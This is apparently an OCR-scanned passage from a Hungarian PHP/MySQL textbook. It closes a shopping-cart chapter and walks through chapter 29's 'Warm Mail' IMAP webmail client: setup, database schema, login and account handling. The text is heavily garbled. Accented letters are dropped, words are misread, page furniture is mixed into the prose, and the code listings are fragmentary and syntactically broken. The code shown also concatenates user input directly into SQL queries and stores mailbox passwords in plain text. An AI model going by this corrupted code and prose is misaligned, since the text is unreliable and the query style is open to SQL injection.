A fenti kr kd kategrikat kezel vlrozarai egyeden dolog kivrelvel ugyangy mkdnek. Amikor a rendszergazda meg prbl trlni egy karegrir, ez csak akkor sikerl, ha egyeden knyv sincsen benne. (Ezr egy lekrdezssei ellenrzi a kd.) Ezzel megelzhetjk a rrlsi anomlik okozta esetleges problmkat. Az ilyen anomlikrl a Webes adatbzis megtervezse cm 8. fejezerben eserr sz. Ennl a konkrt pldnl maradva: ha olyan kategrit trlnnk, amely knyveket tartalmaz, azok a knyvek.,rvv" vlnnak. Nem tudnnk, hogy milyen kategriba tartoznak, s nem tudnnk hozzjuk naviglni. Ezzel befejeztk az adminisztrcis fellet rrekinrst.Tovbbi rszierekn vizsglgassuk a kdor, amir reljes egszben megtallunk a lerlrher mellklerekben!
A projekt tovbbfejlesztse
Ha vgigkverrk a projekrer, egy viszonylag egyszer kosr funkcir knl rendszerr hozharrunk lrre. Az gy kaporr alkal mazst sokflekppen bvthetjk s rovbbfejleszrherjk: Egy valdi online boltban mindenkppen szksg van a megrendelseket s a teljestseker nyomon kver rendszerre. Jelenleg egyltaln nem ltjuk, hogy milyen megrendelseket kaptunk. A vsrlk ignylik, hogy tudjanak megrendelsk llapotrl- lehetleg gy, hogy ehhez ne kelljen kapcsolatba lpni az eladval. Fonros, hogy a vsrlk bejelentkezs nlkl is bngszhessk az oldalon rulr rermkeker. A meglv vsrlk hirelesrse ugyanakkor lehetsger ad arra, hogy bejelentkezs urn megtekintsk korbbi rendelseiker, mi pedig ko rbbi vsrlsi szoksaik alapjn klnbz gyflprofi.lokar dolgozharunk ki. Jelenleg FTP-n keresztl kell feltirennk a knyvek kpeit az azokar trol mappba, illerve el kell neveznnk a kp fjlokar. A folyamarot azzal leher egyszersteni, ha fjlfelrlr funkcival egsztjk ki a knyvek felvirelre szolgl oldalt. Az alkalmazst- sok egyb mellerr- felhasznli bejelenrkezssel, a bejelentkezerr felhasznJk szmra szemlyre sza borr rarralom s knyvajnJk megjelenrsvel, online rckelsekkel s a raktrkszlet nyilvnrarrsval fejleszthernnk rovbb. A lehetsgek szma szinre korlrlan.
Hogyan tovbb:
A kvetkez fejezerben azr fogjuk megtanulni, hogyan fejlessznk olyan webes kezelfellerer, amivel az !MAP protokoll se gtsgve! az internerrl kldhernk s fogadharunk e-maileker.
29
Webalap levelezszolgltats ltrehozsa
Napjainkban egyre tbb oldal knl felhasznlinak webalap e-mail szolgltatst. Az elttnk ll fejezetbl kiderl, hogyan tudunk a PHP IMAP knyvtrnak segtsgvel webes kezelfelletet fejleszteni meglv levelezkiszolglhoz. A szolgl tats alkalmas arra, hogy weboldalon keresztl elrhet legyen meglv postafik, st, egyszer akr olyan tmeges webalap levelezalkalmazss fejleszthetjk, mint a rengeteg felhasznlt tmogaeni kpes GMaii, Yahoo! Maii vagy Hotmail. A projektben a Warm Mai! nev e-mail klienst fogjuk ltrehozni, amely lehetv teszi a felhasznlknak, hogy: Kapcsoldjanak POP3 vagyIMAP levelezszerverkn lv postafikjukhoz Olvassk leveleiket Levelet kldjenek Vlaszoljanak berkezett zeneteikre Tovbbtsk berkezert zeneteiket Trljk a postafikjukban lev zeneteiket
A megolds alkotelemei
Ahhoz, hogy a felhasznl olvasni tudja leveleit, valamilyen mdszerrel kapcsoldnia kell a levelezszerverhez. Ez jellemzen nem ugyanaz a gp, mint a webszervernk. Meg kell tallni a mdjt, hogy kapcsolatba lpjnk a felhasznl postafikjval, mert enlkl nem ltjuk a berkezett zeneteit, s nem tudunk az egyes levelekkel egyenknt foglalkozni.
452
29. fejezet
futtatunk, tltsk le a forrst, s fordtsuk le opercis rendszernknek! Ezt kveten hozzunk ltre egy knyvrrat az IMAP fjloknak rendszernk include (beillesztett fjlokat tartalmaz) knyvrrn bell, s adjuk neki mondjuk az imap nevet! elg. ha egyszeren csak bemsoljuk a fJlokat az alap include knyvtrba, mert
ez
(Nem
ltre az j knyvtrban kt alknyvtrat, aminek imap/ lib/ s imap/ incluctel legyen a neve! Msoljuk be a teleptsbl az sszes*. h fjlt az imap/include/ knyvtrba! Ha vgrehajtjuk a fordtst, egy c-client.a jn ltre. Nevezzk t ezt libc-client. a -ra, s msoljuk be az imap/lib/ knyvtrba! Ekkor futtassuk a PHP konfigurl szkriptjt, amelyhez a tbbi, ltalunk hasznlt paramter mellett a --with
imap=dirname direktvt is hozza kell adnunk (a dirname helyre az ltalunk ltrehozott knyvtr nevt kell bernunk),
29
majd fordtsuk jra a PHP-t! Az IMAP kiterjeszts W indows alatti hasznlathoz nyissuk meg a php. ini fjlt, s vegyk ki a megjegyzs jeit az alb bi sor ell (vagyis mostantl ne megjegyzs legyen):
extension=php_imap.dll
Ezt kveten indtsuk jra a webszervert! Azt, hogy az IMAP kirerjeszts teleptve van-e, a phpinfo ( ) fggvny futtats val llapthatjuk meg. Kimenerben lmunk kell az IMAP-pel foglalkoz rszr. Egy rdekessgre rdemes felhvnunk a figyelmet: noha IMAP fggvnyeknek nevezzk ket, egyformn jl mkdnek a POP3-mal s a Nerwork News Transfer Protocollal (NNTP) is. Pldnkban az IMAP-hoz s a POP3-hoz fogjuk hasznlni ket, de a Warm Maii alkalmazst egyszeren rovbbfejleszthetnnk, hogy NNTP-t hasznlva ne csak levelezkliens, hanem hrolvas (newsreader) is legyen. A knyvtr szmos fggvnyt tartalmaz, de az alkalmazs mkdshez csak nhnyat fogunk kzlk hasznlni. Hasz nlatukkor bemutatjuk ezeket a fggvnyeket, de j, ha tudjuk, hogy a knyvtr szmos tovbbi fggvnyt knl. Ha ettl a projekttl eltr ignyeink vannak, vagy tovbbi funkcikkal szecernnk gazdagtani az alkalmazst, lapozzunk bele btran a knyvtr dokumentcijba l Viszonylag jl hasznlhat levelezalkalmazst lehet fejleszteni mr akkor is, ha a beptett fggvnyeknek csak egy tred kvel dolgozunk. Ez egyttal azt is jelenti, hogy a dokumentcinak csak egy rszn kell trgnunk magunkat. Ebben a fejezet ben a kvetkez IMAP fggvnyeket fogjuk hasznlni:
imap_open () imap_ elose() imap_headers() imap_header() imap_fetchheader() imap_body() imap_delete() imap_expunge()
Ahhoz, hogy a felhasznl olvasni tudja leveleit, szksgnk van kszolgljnak s postafikjnak az adataira. Hogy ne kelljen ezeket minden egyes alkalommal megkrdezni, felhasznli nevet s jelszr lltunk be a felhasznlknak, hogy adatb zisban trolhassuk adataikat. Az emberek gyakran egynl tbb postafikkal rendelkeznek (pldul egy otthonival s egy munkahelyivel), ezrt lehetv kell tenni szmukra, hogy brmelyikhez hozzfrjenek. Ehhez az szksges, hogy az adatbzis egy felhasznlhoz tbb postafi k adatt is el tudja trolni. A felhasznJk szeremk elolvasni meglv leveleiket, vlaszolni rjuk, tovbbtani vagy trlni ket, illetve minden bizony nyal kldeni is kvnnak j zeneteket. Az olvasssal kapcsolatos funkcikat az IMAP vagy a POP3 protokollal, a kldst pedig a SMTP mail () fggvnyvel tudjuk megvalstani. Most pedig vizsgljuk meg. hogy lehet sszerakni ezeket a rszeket!
A megolds ttekintse
Webalap rendszernk ltalnos folyamarbrja nem sokkal klnbzik ms e-mail kliensektL A 29.1 brn a rendszer m kdst s moduljait bemutat folyamatbra lthat.
453
29
29.1 bra: A Warm Maii alkalmazs fellete postafik- s zenetszint funkcikat nyjt afe/hasznlknak.
Az brbl ltszik,hogy elszr bejelentkezsre krjk fel a felhasznlt,majd vlas::tsi lehetsget adunk nelci. j posta fikot hozhat ltre,vagy kivlaszthatja az ppen hasznlni kivnt,mr meglv filgt. Megtekintheti bejv zeneteit - vla szolhat rjuk,tovbbthatja s trlheti a::okat -,illetve j zenetet kldhet. Lehetsget adunk a felhasznlknak arra,hogy egy adott ::enet fejlct teljes rszleteiben megtekintsk. A fejlcben tall hat rszletes adatok rengeteg informcit kzlhetnek az zenetrl. Lthatjuk,hogy melyik gprl rkezett a levl - ami lci vlan alkalmas a levlszemt (spam) lenyomozsra. Kiderl, hogy melyik gp tovbbtotta a levelet,s mikor rte el az egyes hos::tokat - amibl megllapthat, hogy kit okolharunk a ksve rkezett levlrt. Amennyiben a kld levelezalkalmazsa opcionlis informcikat is megad a fejlcben,akkor akr azt is megtudhatjuk,hogy milyen levelezklienst hasznl a kld. Ez a projekt az elz ketttl kiss eltr alkalmazsarchitektrt hasznl. Ahelyett,hogy az egyes modulokat tbb kd alkotn,a projekt egyeden hosszabb kdbl (index. php) ll, ami gy mkdik, mintha egy grafikus kezelfellet program esemnyhurokja lenne. Az oldal brmely gombjra kattintva az index. php fjlhoz jutunk,azonban minden esetben ms paramtert adunk t a kdnak. A paramtertl fggen eltr fggvnyeket hvunk meg. hogy megjelentsk a felhas::nl s2: mra a kvnt tartalmat. A fggvnyeket szoks szerint fggvnyknyvtrakba helyezzk. Az ilyen architektra kivlan alkalmas az ehhez hasonl !cis alkalmazsokhoz. Elssorban esemnyverelt alkalmazsok ho:: megfelel,ahol a felhasznli mveletek vltjk Ici a mkdst. Egyeden esemnykezel hasznlata ugyanakkor nem alkal mas nagyobb architektrkhoz vagy projektekhez, amelyeken egy egsz csapat fejleszt dolgozik. A Warm Maii projektet alkot fjlokat a 29.1 tblzat sorolja fel.
29.1 tblzat: A Warm Maiilevelezalkalmazsban hasznlt fjlok Nv
index.php beillesztett_fuggvenyek.php adat_ellenor::o_fuggvenyek.php
Tpus
Lers
A teljes alkalmazst futtat,f kd Az alkalmazsba beillesztett fjlok gyjtemnye A felhasznlk ltal bevitt adatokat ellenr:: fggvnyek gyjtemnye A levelezes adatbzishoz kapcsoldsra has::nlt fggvnyek gyjtemnye A levelezshez kapcsold,postafikok megnyitsra,le velek olvassra stb. has::nlhat fggvnyek gyjtemnye A HTML kimenetet elllt fggvnyek gyjtemnye A felhasznlk hitelestsre has::nlt fggvnyek gyj temnye
adatbazis
fuggvenyek.php
levelezo_fuggvenyek.php
454
29.fezet
Nv
adatbazis letrehozasa.sql
Tpus
Lers
SQL
29
Az adatbzis ltrehozsa
A Warm Maii alkalmazs adatbzisa viszonylag egyszer, mivel igazbl egyetlen e-mailt sem trol. Trolni kell benne viszont a rendszer felhasznlit. Minden felhasznl esetn az albbi mezket kell szerepeltetni az adatbzisban:
felhasznaloi nev j elszo
-A felhasznl ltal a Warm Maii alkalmazshoz vlasztott jelsz. -A felhasznl ltal vlasztott e-mail cm, amely a rendszerbl kldtt levelek Felad mezjben megje -A felhasznl neve, amit az ltala kldtt levelek feladjaknt szeretne megjelenteni.
email_eim
lenik.
felado_neve
Ezen tlmenen minden olyan postafikot el kell trolnunk, amit a felhasznlk a rendszernk segtsgvel el kvnnak rni. Minden postafikhoz az albbi adatokat kell feljegyezni:
felhasznaloi_nev szerver port-
-A gp, amin a postafik tallhat; pldul localhost, mail.tangledweb.com.au vagy brmilyen ms domain.
A port, amelyhez a postafik hasznlata rdekben csatlakozni kell. POP3 kiszolglk esetn ltalban a 110-es, -A kiszolglhoz val csatlakozshoz hasznlt protokoll, POP3 vagy IMAP. A levelezkiszolglhoz val csatlakozsra hasznlt felhasznli nv. A levelezkiszolglhoz val csatlakozsra hasznlt jelsz.
tavoli_je lsz o
fiok_azonosi to-
Az alkalmazs adatbzist a 29.1 pldakdban lv SQLkd futtatsval hozhatjuk ltre. 29.1 pldakd: ada tb azis_letrehozasa. sql -A levelezes adatbzist ltrehoz SQL kd
CREATE DATABASE levelezes;
USE levelezes;
CREATE TABLE
felhasznalek
email_cim CHAR(l00)
felhasznaloi nev CHAR(l6) szerver CHAR(l00) port INT NOT NULL, tipus CHAR(4) NOT NULL,
NOT NULL,
NOT NULL,
NOT NULL,
NOT NULL,
fiok azonosite INT UNSIGNED NOT NULL AUTO INCREMENT PRIMARY KEY );
455
INSERT,
UPDATE,
DELETE 'jelszo';
levelezes@localhost IDENTIFIED
BY
adatbaz1s_letrehozasa.sql
A futtatshoz meg kell adni root jelszavunkat. Az adatbazis_letrehozasa. sql s az adatbazis_fuggvenyek.php kdbanfuttatsuk eltt meg kell vltoztami a levelezes felhasznl jelszavt. Ehhez az alkalmazshoz nem hozunk ltre felhasznli regisztrcit s rendszergazdai adminisztrcit. Ha szlesebb krben kvnjuk hasznlni a programot, akkor magunknak kell megvalstani ezeket a funkcikat, de ha csak mi fogjuk hasz nlni, akkor elg. ha sajt adatainkat szrjuk be az adatbzisba. A letlthet mellkletek 2 9_fejezet mappjban tallhat
feltoltes. sql kd ehhez knl sablont, gy sajt adatainkat beszrva s a kdot futtatva bellthatjuk sajt magunkat fel
29
hasznlnak.
A kd architektrjnak vizsglata
Mr emltettk, hogy a Warm Maii alkalmazs egyetlen kddal szablyozza az sszes funkcit. Ezt az index. php nev fjlt
a
29.2 pldakdban lthatjuk. A kd ugyan elg hossz, de rszenknt fogunk vgigmenni rajta.
ll l. rsz: elfeldolgozs ll Az oldal fejlcnek elkldse eltt dolgozzuk fel, ll s dntsk el,
amit kell, milyen adatokat jelentsnk meg az oldal fejlcn!
//**** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ****************************
$_POST['felhasznaloi_nev'];
$jelszo = $_POST['jelszo']; $muvelet = $_REQUEST['muvelet']; $fiok = $_REQUEST['fiok']; $uzenetiD = $_GET['uzenetiD']; $cimzett = $ POST['cimzett']; $masolatot_kap
=
$ POST['masolatot_kap'];
$gombok = array();
ll fzzk hozz ehhez a sztringhez, ll ha brmit feldolgoztunk a HTTP fejlc elkldse eltt!
Sallapot
' '
l l
$jelszo)
456
29. fejezet
if(bejelentkezes($felhasznalol nev,
S_SESSION['hitelesitett_felhasznalo'l = $felhasznaloi_nev; if(fiokok_szama($ SESSION['hitelesitett felhasznalo'l)==l) $fiokok =fiok lista lekerese($ SESSION['hitelesitett felhasznalo'l); $ SESSION['kivalasztott_fiok'l
=
$fiokok[O l;
else
{
"<p style=\"padding-bottom: lOOpx\">Sajnos nem sikerlt
29
Sallapot
if($muvelet
==
'kijelentkezes')
$ POST);
break;
case 'fiok-kivalasztasa':
break;
'kijelentkezes';
//***************************************************************************** ll 2. rsz:
fejlcek
ll az alkalmazs nevt,
457
{
"Warm Mail",
eszkozsor_megjelenitese($gombok); //*****************************************************************************
l 29
ll 3. ll
A
rsz:
oldal trzse
if(($muvelet)
&&
($muvelet!='kijelentkezes'))
"
switch ($muvelet)
ll j fik ltrehozsa,
case 'fiok-beallitasa':
lOOpx\">zenet elkldve.</p>";
break;
case 'fiok-kivalasztasa':
case 'postafiok-megtekintese':
458
29.fezet
29
case 'uzenet-megtekintese':
case 'valasz-mindenkinek':
{
$fejlec->felado_cime;
$cimzett
$fejlec->masolatot kap_c1me;
".$fejlec->targy; $uzenetiD)));
ll vlaszeimknt a levlfejlcben elkldtt eim hasznlata, ll vagy annak hinyban a felad cime
if( '$imap) $imap
=
459
$cmzett
$targy = "Re:
".$fejlec->targy; $uzenetiD)));
29
break;
case 'tovabbitas':
break;
break;
//***************************************************************************** ll 4.
rsz: lblc
//*****************************************************************************
html lablec letrehozasa(); ?>
az
egyes esemnyek
az
az
z gombjaira kattint, ezekkel a kattintsokkal pedig lnyegben kivlaszt egy mveletet. A gombok tbbsgt a gomb_
megjelenitese () fggvny lltja el, de rlapok klds gombja esetn az urlap_gomb_megjelenitese() fggvnyt
az
460
29. fejezet
Az index.php meghvsakor a muvelet vltoz rtke hatrozza meg az aktivland esemnykezelt. A kd az albbi ngy f rszbl ll: l. Nmi elkszt munkra van szksg, mieltt elkldjk a bngsznek az oldal fejlct; pldul elindtjuk a munka menetet, elfeldolgozst vgznk a felhasznl ltal kivlasztott mvelethez, illetve eldntjk, hogyan kell egyltaln kinznik a fejlceknek. 2. 3. Feldolgozzuk s elkldjk a felhasznl ltal kivlasztott mveletnek megfelel fejlceket s mensort. A kivlasztott mvelet alapjn eldntjk, hogy a kd melyik trzst kell vgrehajtani. A klnbz mveletek klnb z fggvnyhvsokat vltanak ki.
29
4. Elkldjk az oldal lblct. Ha belenznk az index. php kdba, lthatjuk, hogy a ngy szakasz megjegyzsekkel lerr egymstl elvlasztva. Ahhoz, hogy a kd minden sort megrtsk, menjnk vgig rajta az oldal minden egyes mvelett tnylegesen kiprblval
Be s kijelentkezs
Amikor egy felhasznl betlti az index. php oldalt, a 29.2 brn mutatott kimenetet ltja.
29.2 bra: A Warm Maii alkalmazs bejelentkezsi fellete felhasznli nevet s jelszt kr. Az alkalmazs alaprtelmezsben a bejelentkezsi kpernyt jelenti meg. Mivel a $muvelet mg nincsen kivlasztva, s nincsenek mg bejelentkezsi adatok, a PHP elszr a kvetkez kdot futtatja le:
include ('beillesztett fuggvenyek.php'); session_start();
Ezek a sorok elindtjk a $hitelesitett_felhasznalo s a $kivalasztott_fiok munkamenet- (session) vltoz nyomon kvetst lehetv tev munkamenetet. (E kt vltoz t ksbb hozzuk majd ltre.) Mint az eddigi sszes alkalmazsban, itt is ltrehozzuk a rvid vltozneveket. A PHP gyorstalpal cm l. fejezet ta ezt az sszes, rlaphoz ktd kdban megtettk, gy a muvelet vltoz kivtelvel szt sem rdemelne az egsz. Arrl fggen, hogy az alkalmazs klnbz rszeiben honnan szrmazik, ez a vltoz lehet GET s lehet POST tpus. Ezrt a
$_REQUEST tmbbl kell kinyernnk. Ugyangy kell eljrnunk a fiok vltozval is, mert ltalban ugyan GET, a fik trlse
kor azonban POST mdszerrel rjk el. A testre szabott felhasznli felletet egy tmb segtsgvel mentjk el, ezzel szablyozzuk az eszkzsvon megjelen gom bokat. Az albbi kdsorral ltrehozunk egy res tmbt:
$gombok = array();
$gombok[2] = 'fiok-bealltasa';
Ha ksbb a felhasznl rendszergazdaknt jelentkezik be, tovbbi gombokat adunk ehhez a tmbhz. Ami a fejlcet illeti, egyszer vanlia sznt ksztnk:
html fejlee letrehozasa($_SESSION['hitelesitett_felhasznalo'], $ SESSION['kivalasztott_fiok']); "Warm Mail",
eszkozsav_megjelenitese($gombok);
461
A fenti kd az oldal cmt s a fejlcet, illetve a gombokbl ll eszkzsvot jelenti meg rszletesebben nem foglalkozunk velk. Most kvetkezik a kd trzse:
if(!hitelesitett_felhasznalo_ellenorzese()) echo "<p>Be kell jelentkeznie";
a kimeneti_ fuggvenyek. php fggvnyknyvtr tartalmazza, de mivel vgeredmnyk egyrtelmen ltszik az brn,
if(($muvelet)
&&
($muvelet!='kijelentkezes'))
29
A hitelesitett_felhasznalo_ellenorzese() fggvny a felhasznaloi_hitelesites_fuggvenyek. php knyvtrbl szrmazik. A korbbi projektekben is hasznltunk hasonl kdot; ellenrzi, vajon a felhasznl bejelentkezett-e. Amennyiben - a pldhoz hasonlan - mg nem tette ezt meg, a 29.2 brn lthat bejelentkezsi felletet jelentjk meg sz mra. Az rlapot a kimeneti_fuggvenyek.php knyvtrban tallhat bejelentkezesi_urlap_megjelenitese () fggvny lliga el. ltni. Ha a felhasznl megfelelen tlttte ki az rlapot, s a "Bejelentkezs" gombra kattint, a 29.3 brn lv kimenetet fogja
-., .
. . '
.: .
'
8i
A kd futtatsa sorn klnbz kdrszeket aktivl unk. A bejelentkezsi rlap kt mezvel rendelkezik:
$felhasznalo i_nev s $jelszo Amennyiben a felhasznl kitlttte ezeket, az elfeldolgoz kd kvetkez rsze fog .
lefutni:
if ($felhasznaloi nev
ll
$jelszo)
{
$jelszo))
if(bejelentkezes($felhasznaloi_nev,
lOOpx\">Sikeres bejelentkezs.</p>";
else
{
"<p style=\"padding-bottom: lOOpx\">Sajnos nem sikerlt
$allapot
A fenti sorokbl kiderl, hogy a bejelentkezes () fggvnyt hvja meg, ami a 27., illetve a 28. fejezetben hasznlt, azo nos nev fggvnyhez hasonl. Ha rninden rendben van, a felhasznli nevet a hitelesitett_felhasznala nev munka menet-vltozban jegyezzk fel. A bejelentkezs elrt belltott gombok mell egy jabb kerl, ami lehetv teszi a bejelentkezett felhasznlnak a kijelent kezst:
462
29.fezet
if(hitelesitett_felhasznalo_ellenorzese()) $gombok[4]
=
'kijelentkezes';
A ..Kijelentkezs" gombot a 29.3 brn lthaguk. A kd fejlcet elllt rszvel jra megjelentjk a fejlcet s a gombokat.A kd trzsben a korbban belltott llapot zenetet jelentjk meg:
echo $allapot;
Most mr csak a lblcet kell megjelenteni, majd vrhatjuk a felhasznl kvetkez lpst.
29
Trjnk vissza a 29.2 pldakdban szerepl kdhoz! A $muvelet vltoz mostani rtke matt a korbbitl eltren visel kedik a kd.Valamennyire a megjelen fejlc is ms lesz:
html feJlec_letrehozasa($_SESSION['hitelesitett_felhasznalo'], muvelet_formazasa( $muvelet) , "Warm Mail ". $ SESSION ['kivalasztott_fiok' l ) ;
Ez a tipikus minta: minden parancs ms fggvnyt hv meg.Jelen esetben a fiok_ beallit as_megjelenit ese() fgg vnyt hvjuk meg. Ennek kdjt a 29.3 pldakdban olvashaguk.
29.3 pldakd: A kimeneti_fuggvenyek. php
fiokok_lekerese($hitelesitett_felhasznalo); sizeof($lista);
$fiok)
463
Amikor meghvjuk a fiok_beallitas_megj elenitese ( ) fggvnyt, j felhasznli fik felvitelre alkalmas, res rlapot jelent meg, amit a felhasznl meglv fikjainak adatait tartalmaz, szerkeszthet rlapok kvetnek. A fiok_urlap_
megj elenitese() fggvny a 29.4 brn lthat rlapot hozza ltre. Pldnkban ezt krflekppen hasznljuk: paramterek
29
nlkl egy res rlapot, a paramterek tadsa esetn pedig meglv rekordot jelent meg. A fggvny a kimeneti_
fuggvenyek.php knyvtrban helyezkedik el; egyszer HTML kimenetet llt el, ezrt a rszleteibe most nem megynk bele.
A meglv felhasznli fikokat a levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye keresi vissza; ennek kdjt a 29.4 pldakdban ltjuk. 29.4 pldakd: A levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye- Az adottfelhasznlfikjainak sszes adatt visszakeresfggvny
function fiokok_lekerese($hitelesitett_felhasznalo) $lista = array(); if($kapcsolat=adatbazishoz_kapcsolodas()) $lekerdezes = "SELECT $eredmeny
*
FROM fiokok
=
WHERE felhasznaloi_nev
=
'".$hitelesitett_felhasznalo."'";
$kapcsolat->query($lekerdezes);
if($eredmeny)
return false;
return $lista;
Mint lthatjuk, a fiokok _lekerese() fggvny kapcsoldik az adatbzishoz, visszakeresi az adott felhasznl fikjait, majd tmbknt visszaaclja azokat.
A fiok_ bealli ta sok_ tarolasa () fggvny eltrolja az adatbzisban az j felhasznli fik adatait. A fggvny kdjt a 29.5 pldakd mutatja. 29.5 pldakd: A levelezo_fuggvenyek. php knnyvtr fiok_beallitasok_tarolasa () fggnye-Afelhasznl j fikjt az adatbzisban e/trol fggvny
function fiok_beallitasok_tarolasa($hitelesitett felhasznalo, $beallitasok) if(!kitoltott($beallitasok))
464
29.fezet
echo "<p>Minden mez6t ki kell tlteni. Krjk, return false; else { if($beallitasok['fiok')>0)
prblja jra!</p>";
$lekerdezes = "UPDATE fiokok SET szerver = '".$beallitasok[szerver) ."', port = ".$beallitasok[port) .", tavoli felhasznala = tavoli jelsza =
'n .
tipus = '".$beallitasok[tipus)."',
$beallitasok[tavoli j elszol.
'
29
else { $lekerdezes
AND felhasznaloi nev = '".$hitelesitett felhasznalo."'"; "INSERT INTO fiokok VALUES ('".$hitelesitett felhasznalo."', '".$beallitasok[szerver)."', '".$beallitasok[tipus) ."', '".$beallitasok[port)."', NULL)"; '".$beallitasok[tavol1 felhasznalal ."',
'".$beallitasok[tavoli_jelszo)."',
$eredmeny=$kapcsolat->query($lekerdezes);
A fenti sorokbl kiderl, hogy a fiok_beallitasok_tarolasa ( ) fggvnyerr belli kt vlasztsi lehetsg li fik adatait. Az adatok eitraisa utn az index. php kd trzshez trnk vissza:
case 'beallitasok-tarolasa': case 'fiok-beallitasa': case 'fiok-torlese': fiok_beallitas_megjelenitese($ SESSION['hitelesitett_felhasznalo')); break;
az
j fel
hasznli fik ltrehozsa, illetve a meglv fik mdostsa. A fggvny a megfelel lekrdezst lefi.matva menti el a felhaszn
Ezt kveten a fiok_beallitas_megjelenitese() fggvny meghvsval jra megjelentjk a felhasznli fik adata it. Ezttal mr az jonnan ltrehozort fikot is lthatjuk itt.
465
Ez a kd a fiok-torlese() fggvnyt hvja meg. A fggvny kdjt a 29.6 pldakd mutatja. A fik trlst a fejlc eltt kell kezelni, mert a hasznlni kvnt fik kvlasztsa a fejlcben trtnik. A fejlc megjelentse eltt ezrt mdostani kell
a
fikok listjt.
29.6 pldakd:
function fiok_torlese($hitelesitett_felhasznalo,
29
Azt kveten, hogy a vgrehajts visszakerl az index. php fjlhoz, a kd trzse az albbi kdot futtatja:
case 'beallitasok-tarolasa': case 'fiok-beallitasa': fiok_beallitas_megjelenitese($ SESSION['hitelesitett felhasznalo'l); break; case 'fiok-torlese':
Vegyk szre, hogy ez ugyanaz a kd, mint amit korbban futtattunk; ez egyszeren a felhasznli fikok listjt jelenti meg.
Levl olvassa
Miutn a felhasznl belltotta fikjt vagy fikjait, tovbblphetnk a kvetkez feladatra: kapcsolds ezekhez a fikokhoz, s a felhasznl leveleinek beolvassa.
Postafik kivlasztsa
A felhasznlnak k kell vlasztania azt a postafi[9t, amelynek a leveleit szeretn elolvasni. Az aktulisan kivlasztott fikot a $kivalasztott_fiok munkamenet-vltozban troljuk. Ha a felhasznl egyetlen fikot regisztrlt a rendszerben, akkor bejelentkezs utn automatikusan az lesz kivlasztva:
if(fiokok_szama($_SESSION['hitelesitett_felhasznalo'l) ==l) $_SESSION[ 'kivalasztott_fiok'l $fiokok[Ol;
A levelezo_fuggvenyek. php knyvtr fiokok_szama () fggvnye llaptja meg, hogy a felhasznl egynl tbb postafikkal rendelkezik-e; a fggvny kdjt a 29.7 pldakdban talljuk. A fiok_lista_lekerese () fggvny a felhasz nl fikjainak azonostit tartalmaz tmbt ad vissza. Jelen esetben egyeden fik - s gy egyeden azonost - ltezik, amit
a
466
29. fejezet
felhasznaloi nev =
29
$kapcsolat->query($lekerdezes);
if($eredmeny)
return 0;
A fiok_lista_lekerese () fggvny a korbban mr ltott fiokok_le kerese () fggvnyhez hasonl, a klnbsg csupn annyi, hogy ez csak a fikok nevt keresi vissza. Ha a felhasznl tbb fikot regisztrlt, akkor ki kell vlasztania a hasznlni kivntat. Ebben az esetben a fejlc egy SELECT HTML elemet jelent meg. ami az elrhet postafikok listjt jelenti meg. Ha a felhasznl kivlasztja valamelyiket, automa tikusan megjelenik annak tartalma (29 .5 bra).
A SELECT listt a kimeneti_fuggvenyek.ph p knyvtr html_fejlee _letrehozasa() fggvnye lltja el, ahogy ez az albbi kdrszletbl is kiolvashat:
ll a fik kivlasztsnak lehet6sgre csak akkor van szksg, ll felhasznlnak egynl tbb fikja van
if(fiokok_szama($hitelesitett_felhasznalo) >l) ha a
echo "<form action=\"index.php?action=postafiok-megnyitasa\" method=\"post\"> <td bgcolor=\"lff6600\" align=\"right\" valign=\"middle\">"; fiok_valaszto_megjelenitese($hitelesitett_felhasznalo, echo "</td> </form>"; $kivalasztott_fiok);
ltalban nem foglalkoztunk a pldban hasznlt HTML kdokkal, de a fiok_valaszto_ megjeleni tese() fggvny ltal ellltott HTML rdemes r, hogy kivtelt tegynk vele. Az aktulis felhasznl fikjaitl fggen a fiok_ valasz to_
megjelenitese() fggvny a kvetkezhz hasonl HTML-t hoz ltre: <select onchange="window.location=this.options[selectedlndex) .value name=fiok"> <option
467
value="index.php?action=fiok-kivalasztasa&fiok=4" selected > thickbook.com </option> <option value= index. php?action=fiok-kivalasztasa&fiok=3 "> localhost </option> </select>
A kd nagy rsze egyszeren egy HTML SELECT elem, de egy kis JavaScriptet is tartalmaz. A PHP nem csak HTML-t kpes ellltani, hanem kliensoldali szkriptek ltrehozsra is hasznlhat. Amikor vltozs esemny kvetkezik be az elemben, a JavaScript a kivlasztott elem rtkr adja a window.location vltoznak. Ha a felhasznl a SELECT els elemc vlasztja ki, a window .location rtke 'index.php?action=fiok
kivalasztasa&fiok=lO' lesz. Ennek eredmnyeknt betltdik ez az URL. Amennyiben a felhasznl bngszje nem
29
tmogatja a JavaScriptet, vagy a JavaScript ki van benne kapcsolva, akkor a kdnak semmilyen hatsa nem lesz. A kimeneti_fuggvenyek. php knyvcr fiok_valaszto_megjelenitese() fggvnye lekri az elrhet fi kok listjt, s azt felhasznlva megjelenti a SELECT elemet. Ezen tlmenen a korbban mr megvizsglc fiok_lista_
lekerese () fggvnyt is hasznlja.
A SELECT listban lv elemek brmelyiknek kivlasztsa a fiok-kivalasztasa esemnyt vltja ki. Ha a 29.5 brn lv URL-re pillanrunk, lthatjuk, hogy ez az esemny, valamint a kivlasztott fik azonosrja hozz lett fzve az URL-hez. Ezen GET vltozk hozzfzsvel kt dolgot rnk el. Elszr is az index.ph p elfeldolgozsi rszben a kivlasztott fikot troljuk el a $ki valasztott_fiok munkamener-vltozban:
case 'fiok-kivalasztasa':
$fiok;
break;
Lthatjuk, hogy ugyanazt a mveletet hajtjuk itt vgre, mintha a felhasznl a"Postafik megrekinrse" lehetsget vlasz totta volna ki. A kvetkez rszben ezt a mvelet vizsgljuk meg rszletesen.
if(!$fiok_azonosito)
{
lOOpx\">Nincs postafik kivlasztva.</p>";
J else {
468
29. fejezet
$fiok_azonosito);
{
cellpadding=\"6\" border=\"0\">";
$fejlecek
29
$uzenetek
sizeof($fejlecek);
for($i = 0;
$i<$uzenetek;
$i++)
echo "#ffffcc";
{
$fiok _azonosito); lOOpx\">Nem sikerlt megnyitni a(z)
".$fiok['szerver']." postafikot.<lp>";
